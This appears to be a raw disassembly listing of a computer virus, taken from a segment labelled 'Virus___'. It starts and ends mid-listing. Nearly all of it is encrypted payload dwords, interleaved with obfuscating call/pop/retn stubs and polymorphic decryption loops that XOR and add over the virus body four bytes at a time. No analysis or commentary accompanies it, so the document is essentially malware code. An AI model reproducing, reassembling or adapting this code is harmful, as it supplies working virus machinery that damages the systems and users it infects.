8959C359h, 8104244Ch, 17042444h, 41000000h, 7C85C351h dd 0C66909h, 81666000h, 0F313ED7h, 0C761F6BFh, 1B099185h dd 7, 0C820F00h, 0F000000h, 68Ch, 259D8900h, 0E9071B0Dh dd 0FFFFF2F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 1AC35747h, 0FFB29B3h, 0C18BFFBFh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0C6C35545h, 9BEEDF42h dd 1255858Dh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 7612DDC3h, 0D7466067h, 2ABF6607h dd 850F9090h, 4, 0F2D2BF66h, 0D98B6650h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0C868BEE9h, 5D8D8969h, 89071B2Ah, 1B0669BDh, 95B52907h dd 6A071B04h, 8B006A00h, 59858DD9h, 6A071F4Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E9A4C356h, 9, 2D0DF6BAh, 0FE0244BEh, 10E92Ah, 83870000h dd 13C19111h, 9EF7D39Ch, 822F22A2h, 0BD2B6D55h, 71B2961h dd 0F05C083h, 0F50DABFh, 218Fh, 66525000h, 0FA4E4BBh, 12E931h dd 0BBF50000h, 0FA9C6CD1h, 5E839E26h, 0A133683Fh, 0B8C973E9h dd 489585Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 80852CB0h, 0BD318DDBh, 71B2809h dd 8E0F006Ah, 9, 38B0Fh, 0B70F0000h, 0F006ADBh, 0E957F8B7h dd 9, 0F98AF41Ah, 52DD3D7Ch, 95FF5F5Eh, 71B1EA9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 51C35545h, 0DDC84C71h dd 1F8BD08Fh, 2C5DBD8Bh, 8D8D071Bh, 71E979Ch, 0D1FF13B3h dd 985111BBh, 2AC38050h, 2105BD83h, 0F01071Bh, 5A85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B412687h, 1B2A419Dh, 6A026A07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 50E9C353h dd 60C2AB12h, 504B3E0Bh, 0FF240489h, 1B09DD95h, 0C1B58907h dd 0E9071B11h, 0F75h, 0E8h, 0ED815D00h, 71F4C63h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D2C35646h, 0A5D4CFF2h dd 6A31936Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 6345C353h, 76A2AAC3h, 35551A77h dd 2858DF5h, 6A071E92h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B481C350h, 0F8E61F90h dd 0F3DFBF50h, 4892AF3h, 0DE8B6624h, 35FF64h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1E4CC350h, 0E3D8D89h, 8964071Bh, 25h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8EE3A1Ah, 584358F5h, 8B665311h, 85FF5FFAh, 71B264Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D8C35040h dd 0DCE8A9AFh, 0FBDFF5B9h, 0E827E780h, 0Dh, 13DB93B8h dd 0DCDC9DDEh, 5F0641EDh, 0E99589B4h, 5B071B2Ch, 6AFF6Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 39D1DEC3h, 0E1B5FF67h, 66071B24h, 9F4DE781h, 28EDBD89h dd 95FF071Bh, 71B2F45h, 12DE9h, 0D5BD2300h, 0B0071B26h dd 0F129BB00h, 70E667CCh, 58D0Fh, 81660000h, 0B79F45F7h dd 8971E407h, 1B1AA58Dh, 0F613C07h, 10183h, 0FF98B00h dd 8B66C8B6h, 6BAF8h, 7E80000h, 0EC000000h, 17CA55E1h dd 0F5197E5h, 81h, 0F5B5B00h, 58Ch, 0F7816600h, 0C18B6E3Fh dd 858B5660h, 71B04EDh, 61CF8B5Ah, 336D9501h, 0E8C1071Bh dd 66D88B04h, 80BBE2F7h, 2B7AA212h, 5E8C8h, 496A0000h dd 803BE730h, 8B5FD6CBh, 5E8D1h, 0EE9C0000h, 8132D61Ah dd 0D7DF7DF3h, 0E95F5Bh, 8B000000h, 1B283585h, 2D9D2307h dd 83071B0Ch, 0E95307C0h, 0Bh, 7D9EB87Dh, 0B86509D0h, 5B424536h dd 0E900C083h, 0Dh, 18EE0A00h, 5339253Bh, 45DCB42Dh, 0FD03B80h dd 1783h, 9D9D2900h, 81071B08h, 9A5039C3h, 3CE92Eh, 0D3810000h dd 134316A4h, 12E98D8Bh, 0BD0B071Bh, 71B0A51h, 0F01E183h dd 2184h, 0FE8B6600h, 12E9A583h, 89FE071Bh, 1B2461BDh dd 35958907h, 8B071B28h, 1B1C59BDh, 0E907h, 0B58D0000h dd 71EDDA8h, 7DC26BBh, 118D8922h, 6A071B34h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 3A98551Fh, 0FADD264h dd 9D8B65F3h, 71B172Dh, 128995FFh, 6A071Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 67C826C3h dd 0C781ABB7h, 15B99D5Eh, 7E3B9h, 5BDF8100h, 0E838A954h dd 10h, 0F9C3081Ch, 0BB2A5B1Bh, 0E37482DCh, 9A1449D6h dd 0E7FBBF66h, 0FCE1835Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 79C35343h, 6C5D56ECh, 26EB7F28h, 0B8FCEDh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 864CC352h, 0C9816660h, 12E92DF4h dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 0BA61E5h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 2F64C350h, 0F3AC5D4h dd 6084DBC6h, 0E9A1CF80h, 0Eh, 69C902D1h, 5B778DD9h, 7336FE76h dd 33ADFE2Ch, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 435DF7C3h dd 0F3FF290Fh, 6820Fh, 85290000h, 71B21C1h, 68FB49BFh dd 7E85358h, 0F4000000h, 0A6FF3692h, 9D89603Fh, 71B3109h dd 6A5B5Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 627E68C3h, 75C5BB66h, 0BE9h, 1CE19500h, 1FA9CC2Eh dd 18E1F959h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8589FC4Bh, 71B16BDh, 0F59D8BFCh dd 8B071B21h, 1B29B595h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 6A349469h, 65858935h dd 8B071B1Ah, 1B02F58Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 1864DB6h, 45BD0157h, 5B071B1Ch dd 0E705AFBBh, 0C28B5067h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0DF94C350h, 5F0A5340h, 0F6D22E8h dd 860FD9BFh, 6, 14899D8Bh, 0BD83071Bh, 71B2165h, 81840F00h dd 29000000h, 1B031995h, 7E95307h, 76000000h, 67E14E97h dd 0B85FE7E5h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_58031B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58031B proc near ; CODE XREF: Virus___:00580313p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58031B endp ; --------------------------------------------------------------------------- sub al, 5Ch mov edi, [ebp+71B1FEDh] lea ecx, [ebp+71B4F89h] mov ebx, esi mov edi, [ebp+71B041Dh] jmp ecx ; --------------------------------------------------------------------------- push 0 push edi call sub_58034E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58034E proc near ; CODE XREF: Virus___:00580346p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_58034E endp ; --------------------------------------------------------------------------- dw 9D62h ; --------------------------------------------------------------------------- js short near ptr loc_580387+2 jmp loc_580378 ; --------------------------------------------------------------------------- xor al, [ebx] pop ebp aaa retn 0A374h ; --------------------------------------------------------------------------- dw 7139h dd 0B0739AA4h, 2E049393h ; --------------------------------------------------------------------------- loc_580378: ; CODE XREF: Virus___:00580362j cmp dword ptr [ebp+71B18CDh], 0 jz loc_5807FC mov bh, 5Bh loc_580387: ; CODE XREF: Virus___:00580360j cmp dword ptr [ebp+71B18CDh], 1 jz loc_580817 push 0 push ecx call sub_58039F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58039F proc near ; CODE XREF: Virus___:00580397p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_58039F endp ; --------------------------------------------------------------------------- xchg eax, edx pop ss jge loc_5803BA sbb bh, 0AEh loc_5803BA: ; CODE XREF: Virus___:005803B1j cmp dword ptr [ebp+71B18CDh], 3 jbe loc_5807E1 mov ebx, [ebp+71B2DB1h] pusha pusha mov edi, 6815E6B0h mov eax, [ebp+71B24B1h] popa mov cx, ds mov [ebp+71B3031h], ebx and cl, 4 mov ebx, [ebp+71B29C9h] or cl, cl jz loc_5805BD push 0 push ecx call sub_580400 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580400 proc near ; CODE XREF: Virus___:005803F8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_580400 endp ; --------------------------------------------------------------------------- add cl, cl imul ebx, ecx, 0A105DF81h mov fs, word ptr [ebx] mov eax, [ebp+71B30E5h] push 0 push ecx call sub_58042B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58042B proc near ; CODE XREF: Virus___:00580423p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_58042B endp ; --------------------------------------------------------------------------- db 25h dd 14E8A5h, 0E6E60000h, 8ABBF8CFh, 0B4037BE6h, 71AE3ADAh dd 2114CEB3h, 8B6611BAh, 9D8B5BDAh, 71B259Dh, 30558533h dd 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0F35E6FC3h, 0E9070E8Ah, 8, 1B52885Ch, 12889C7Ah dd 0FE86090h, 0B0000000h, 2382A580h, 0E4E3A2B9h, 8B379C97h dd 0F08B1084h, 38B3605Ah, 0BB47CAB9h, 50616163h, 0EE8h dd 0AE768B00h, 648C7435h, 577173Ch, 0E8E90BA1h, 0Ch, 608DB812h dd 86B8D52Ch, 54FFB486h, 6E9h, 43613400h, 5B630B73h, 6A905Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0EC2CA9C3h, 195893Bh, 0B3071B0Dh, 66006A92h, 0E9D543BFh dd 10h, 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 75CCA768h dd 8B4BBFE2h, 48158FEh, 0A9375824h, 52006A1Dh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FF071AF9h dd 1B04E995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8F0F4AFBh, 5, 763F8FBBh, 0C8858929h dd 0E9071EABh, 1CBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 6BC35040h, 0D405909Ah, 81B1D6BBh, 7FCE11CBh ; --------------------------------------------------------------------------- dec edi loc_5805BD: ; CODE XREF: Virus___:005803EFj mov eax, [ebp+71EABC0h] push 0 push ebx call sub_5805CE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5805CE proc near ; CODE XREF: Virus___:005805C6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5805CE endp ; --------------------------------------------------------------------------- dw 0CA12h dd 2F268DCEh, 0C7AD06h, 18h, 0DE1BD09h, 0B58B071Bh, 71EABC4h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C3C35343h dd 8FC3526h, 0D98B6623h, 149858Bh, 8589071Bh, 71B2B29h dd 0D0BB0689h, 8B3343F2h, 1B30E585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0BD35411Ah dd 2E45BD8Bh, 4689071Bh, 0B9958904h, 50071B33h, 8870Fh dd 8A0F0000h, 2, 3489DA8Ah, 0FFDF8B24h, 1EABC0B5h, 0DBD8B07h dd 0E8071B15h, 4, 1F03FFh, 0F50D98Ah, 0D89h, 8E900h, 0C4930000h dd 951388F3h, 448BAA5Ch, 28BF0424h, 8B7024B8h, 0EABF6600h dd 24448974h, 8E96004h, 30000000h, 0CB2266B1h, 61EA812Eh dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0FF861363h, 7ACF8166h, 0C8858DA8h, 6A071EABh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 810BC355h, 0D3FA86F7h, 0EE99077h, 8000000h dd 7C0449E6h, 0EB43999Eh, 3D8CBBFAh, 8C0F502Dh, 9, 3840Fh dd 8B660000h, 816690F8h, 0FF8B9DDBh, 1B04E995h, 0FAB70F07h dd 12E8h, 0CD5FD500h, 75197A46h, 2E7BA36Eh, 0DFF83371h dd 66A00FC4h, 615FD98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 93C35545h, 0EB04BEEDh, 8DF9C3BFh, 48A0F48h dd 56000000h, 0C75FDA8Bh, 1B18CD85h, 307h, 0ADBD8B00h dd 83071B2Bh, 1EABC8BDh, 840F0007h, 35h, 2A45B589h, 45E9071Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 94ECC356h, 858988E9h, 71B0065h dd 0D46614BBh db 68h ; --------------------------------------------------------------------------- loc_5807E1: ; CODE XREF: Virus___:005803C1j ; Virus___:005807F8j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5807E1 jmp short loc_580832 ; --------------------------------------------------------------------------- loc_5807FC: ; CODE XREF: Virus___:0058037Fj ; Virus___:00580813j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5807FC jmp short loc_580832 ; --------------------------------------------------------------------------- loc_580817: ; CODE XREF: Virus___:0058038Ej ; Virus___:0058082Ej push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_580817 jmp short $+2 loc_580832: ; CODE XREF: Virus___:005807FAj ; Virus___:00580815j mov eax, eax push 0 push eax call sub_58083F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58083F proc near ; CODE XREF: Virus___:00580837p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_58083F endp ; --------------------------------------------------------------------------- db 38h dd 0A68A7B7Fh, 3850Fh, 0E3800000h, 50006A3Fh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 9CCBC83Ah dd 0BE92Bh, 0F2260000h, 0C8BD973Bh, 888443A4h, 0CDBD83CAh dd 3071B18h, 445850Fh, 0BB660000h, 0BD831705h, 71EABC8h dd 34840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0F8ABC355h, 0BBDDF3E7h dd 236E3BD1h, 13E9FCh, 12770000h, 42C8198h, 4F7192B1h dd 0F05386AFh, 8A76DF5Ah, 0C8B5FF53h, 6A071EABh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0DA0DC353h, 95FFACF9h, 71B09A5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 2C35545h, 81A1B64Fh, 328B92DFh dd 0BCB58B60h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9605C355h, 5F5EA3A3h dd 66B286DCh, 476ECB81h, 106C7h, 0BD330001h, 71B28E1h dd 0D98B6650h, 0F243489h, 0B5FFD9B7h, 71EABC8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B8C35545h, 0BD897FC7h dd 71B042Dh, 356195FFh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 11BB35C3h, 129B8C99h dd 8BDE8B74h, 1EABBCB5h, 98F38107h, 8B5D9DDDh, 1B041185h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 89F600F4h, 1B26758Dh, 35BD0307h, 89071B24h dd 0C486h, 66576000h, 0E958FB8Bh, 0Eh, 0FF3BDA17h, 0E9B009D5h dd 0B0C5AA3Ch, 8B6124D5h, 1B29B595h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 168D3EF5h dd 0D953115h, 66071B01h, 0C283FA8Bh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 89B10E0Ch dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 76FF86C3h, 668C7EEAh, 4D69EF81h, 0BFF9858Dh dd 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 791A93C3h, 8965E033h, 1B355D85h, 0B8868907h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 928C357h, 3877F4ADh, 6A797F46h dd 4D9D2300h, 0F071B06h, 0B5FFFFB7h, 71EABC8h, 9DD95FFh dd 0BF0F071Bh, 525050DEh, 9E8h, 44DA8600h, 35BD32EEh, 0F5FCFC1h dd 5AD88B31h, 24348958h, 0A37DCB81h, 13E97CDDh, 0A6000000h dd 9424068h, 4B6A8AE7h, 0A8904721h, 4201F8F5h, 0B5FF0780h dd 71EABC8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 53C35747h, 8E85F0Ah, 79000000h, 0D2514B3Ah, 0FF9CDB8h dd 688h, 95BD8B00h, 5F071B0Dh, 6830Fh, 85890000h, 71B3309h dd 34195FFh, 8166071Bh, 83A509D7h, 1B2431BDh, 840F0007h dd 31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh dd 31C35646h, 26F6E554h, 50DA4DC2h, 0BD23BF66h, 1243489h dd 1B05C19Dh, 0C8B5FF07h, 6A071EABh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1BB7C356h dd 10E950h, 0B70A0000h, 4B31CEE6h, 36C38FC6h, 5B468CEEh dd 0F5BB457h, 95FFFFBFh, 71B18A5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 5CC35747h, 9112E653h, 0BD8B465Ch dd 71B1F1Dh, 0D6DBD33h, 8589071Bh, 71B24B9h, 0ABC8B5FFh dd 6650071Eh, 0E85BFE8Bh, 8, 699B9906h, 0AA0098EBh, 2585BD8Bh dd 0FF5F071Bh, 1B293D95h, 40F2BB07h, 0BD8311C3h, 71B28F1h dd 1B840F02h, 3000000h, 1B3565BDh, 7D858B07h, 89071B00h dd 1B22CD9Dh, 0C607h, 0AFAED381h, 85C756F7h, 71B0991h dd 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_580CC3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580CC3 proc near ; CODE XREF: Virus___:00580CBBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_580CC3 endp ; --------------------------------------------------------------------------- db 25h dd 0D7D8409Eh, 8166F3D9h, 0E94031DBh, 0FFFFF20Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FCC35646h, 14C5D667h dd 1F85BD8Bh, 0C18B071Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 79C35343h, 0A5C16BDEh, 0F5E3289h, 384h dd 0BEC78000h, 0B70FDA8Bh, 55858DFFh, 6A071B12h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0FF7CC356h, 27A99D8Bh, 8A50071Bh, 240489DEh, 4284BB66h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0BD415C3h, 0C44A2EF2h, 8D898A88h, 71B2CC9h dd 799589h, 6A071Bh, 0D91436BFh, 0CD858D1Eh, 6A071F5Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 5B83C357h, 0DAEDEF2h, 2C39BD01h, 0C083071Bh dd 7E905h, 873B0000h, 41C50563h, 525090AEh, 11E8h, 763BB300h dd 6F53139Eh, 9708B0E2h, 0DE109660h, 61606BFCh, 0E8310F5Fh dd 10h, 6C18E944h, 5B180E15h, 0A49B4E31h, 0F058ACF4h, 0DE8h dd 55E08300h, 1280C743h, 0C794DFBh, 5B5F0E29h, 0F50585Ah dd 48Ch, 69BB6600h, 0BD8B9059h, 71B1429h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 2F104DC3h, 38B6BF66h, 0D0D9D8Bh, 6A071Bh, 880AD781h dd 0BB6633D4h, 95FFDEE8h, 71B1EA9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0A9C35747h, 9D8B1F11h, 71B299Dh dd 979C8D8Dh, 9589071Eh, 71B11D1h, 6AD1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 4FBBB0C3h dd 834B8639h, 1B2105BDh, 850F0107h, 5Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 54C35242h, 2BB12FE7h dd 6A8D9C55h, 0E5858902h, 90071B24h, 13E9h, 0EB63AD00h dd 0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 0BF665650h dd 905FA270h, 0FFFFBF0Fh, 1B09DD95h, 45BD8907h, 0E9071B04h dd 0CB9h, 0E8h, 0ED815D00h, 71F5DD7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E0C35040h, 0F6997C7h, 0B7F887Fh dd 2858DFFh, 50071E92h, 0FE9h, 2FFE8100h, 0ACB2E94Eh, 1401525Eh dd 95772712h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C334C351h, 13E8h dd 0AF7900h, 0E1B9301Bh, 5258F58h, 0F40B8617h, 0DF1E2845h dd 1678EF81h, 645F448Ch, 35FFh, 66600000h, 8B80BFB8h, 1B1879B5h dd 89646107h, 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0E6BB668Dh, 0D59D8BA2h dd 0FF071B26h, 1B264D85h, 6A34B307h, 0D8D780FFh, 0CFDB5FFh dd 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 60D99BC3h, 8589F18Bh, 71B17E9h, 0E9958961h dd 0FF071B22h, 1B2F4595h, 137E907h, 95890000h, 71B2F31h dd 840F00B0h, 5, 0F93529BBh, 5070E679h, 753BC381h, 0E85B60C7h dd 6, 0F58619Bh, 12E8E9F4h, 0E3000000h, 45DE4B29h, 8F65667Ah dd 1DF46368h, 455DD9D9h, 5FDA8A67h, 8971E45Bh, 1B1B3985h dd 0F613C07h, 0E483h, 0B60FF900h, 50D98BC8h, 3269BD8Bh dd 0BA5F071Bh, 6, 8B46EF80h, 0B58589C1h, 0C1071B18h, 0F76604E8h dd 0BE8E2h, 0F3040000h, 461D7B48h, 89ECBACAh, 0C0BB664Bh dd 0BD8B5BC4h, 71B1BA9h, 12E8C82Bh, 3F000000h, 0DBDDBCF1h dd 8C81F875h, 5C492EE3h, 40982B1Eh, 0D18B5B12h, 6E9h, 0ED958900h dd 8B071B04h, 1B2D4985h, 83FB8B07h, 8B0F07C0h, 4, 93C9BB66h dd 18E19589h, 0C083071Bh, 0D03BFC00h, 17830Fh, 9D310000h dd 71B348Dh, 2DFD9D8Bh, 46E9071Bh, 81000000h, 0E5244BE3h dd 958D8B2Fh, 0B3071B2Dh, 1E18302h, 2F840Fh, 13E90000h dd 0B2000000h, 7D447F7Bh, 0B4887ECEh, 19F38389h, 0BDCFD19Ch dd 0A5835270h, 71B2D95h, 499589FEh, 66071B2Dh, 0EE1ED381h dd 0E9h, 5EB58D00h, 81071EE7h, 0CEF12DE7h, 6A006A24h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 382FC351h, 0FFF98B4Eh, 1B128995h, 0F9BF0F07h, 82AB9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0D3E866C7h, 0A8A0D823h, 0A618531h, 0E183071Bh dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FC236194h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0B7C35646h, 89B64227h, 1B210195h, 66C02B07h dd 0F590CF81h, 0BAh, 8B665100h, 33AD5FD8h, 3E8D1C2h, 4E983D0h dd 8166F475h, 6A0D0EEFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8944C356h, 1B19358Dh dd 3DBD2307h, 0D071B2Eh, 88h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 6C35646h, 105587CDh, 9781947h dd 1B2A8DBDh, 0B5958B07h, 8B071B29h, 1B02F58Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 94557335h, 6F3806D0h, 8B503A31h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0B6C35747h, 7595890Fh, 60071B27h, 5F62B7BEh dd 0DE805h, 769C0000h, 0A4327FB9h, 51BA61ADh, 8B50EC13h dd 1B2F25B5h, 6A615B07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 3772C356h, 2165BD83h dd 0F00071Bh, 4784h, 0FBBF0F00h, 0B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F816A6B4h, 0EAE15B28h, 1B03C781h, 81660C73h, 8DB93AF7h dd 1B4F898Dh, 0CB816607h, 0E1FF7954h, 177FBB66h, 18CDBD83h dd 0F00071Bh, 37484h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0BF40AEDBh, 3975E3E5h dd 83DFB70Fh, 1B18CDBDh, 840F0107h, 35Ch, 2C39B589h, 0BD83071Bh dd 71B18CDh, 13860F03h, 0F000003h, 6A60F9B7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0B6F5C350h, 233E338Fh, 0E9B7D5D5h, 10h, 5FD72E09h, 7EC8575Fh dd 7AC2B5C2h, 4006285Dh, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80CDC357h dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 9A6442C3h, 0A934A9B3h, 0F3D381F7h, 0A37D67Dh dd 0BA840FC9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0C3F3C353h, 0BF664BBAh dd 858BFFF3h, 71B30E5h, 30558533h, 0FE8B071Bh, 8B665090h dd 0FBF90F9h, 6A683777h, 819D8900h, 68071B18h, 0D53CEBE8h dd 17240481h dd 6A2AE218h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B54EC356h, 0BB666E66h, 95FF61CFh dd 71B04E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 1FC35545h, 89A53539h, 1EABC885h, 6DBD2307h, 9071B21h dd 1B1291BDh, 183E907h, 3DBF0000h, 92644FBh, 1B351985h dd 0C0858B07h, 0F071EABh, 0F381D8B7h, 66B3D1FDh, 1800C7h dd 0BD8B0000h, 71B35E5h, 0ABC4B58Bh, 0FE8B071Eh, 149858Bh dd 6A071Bh, 3E853h, 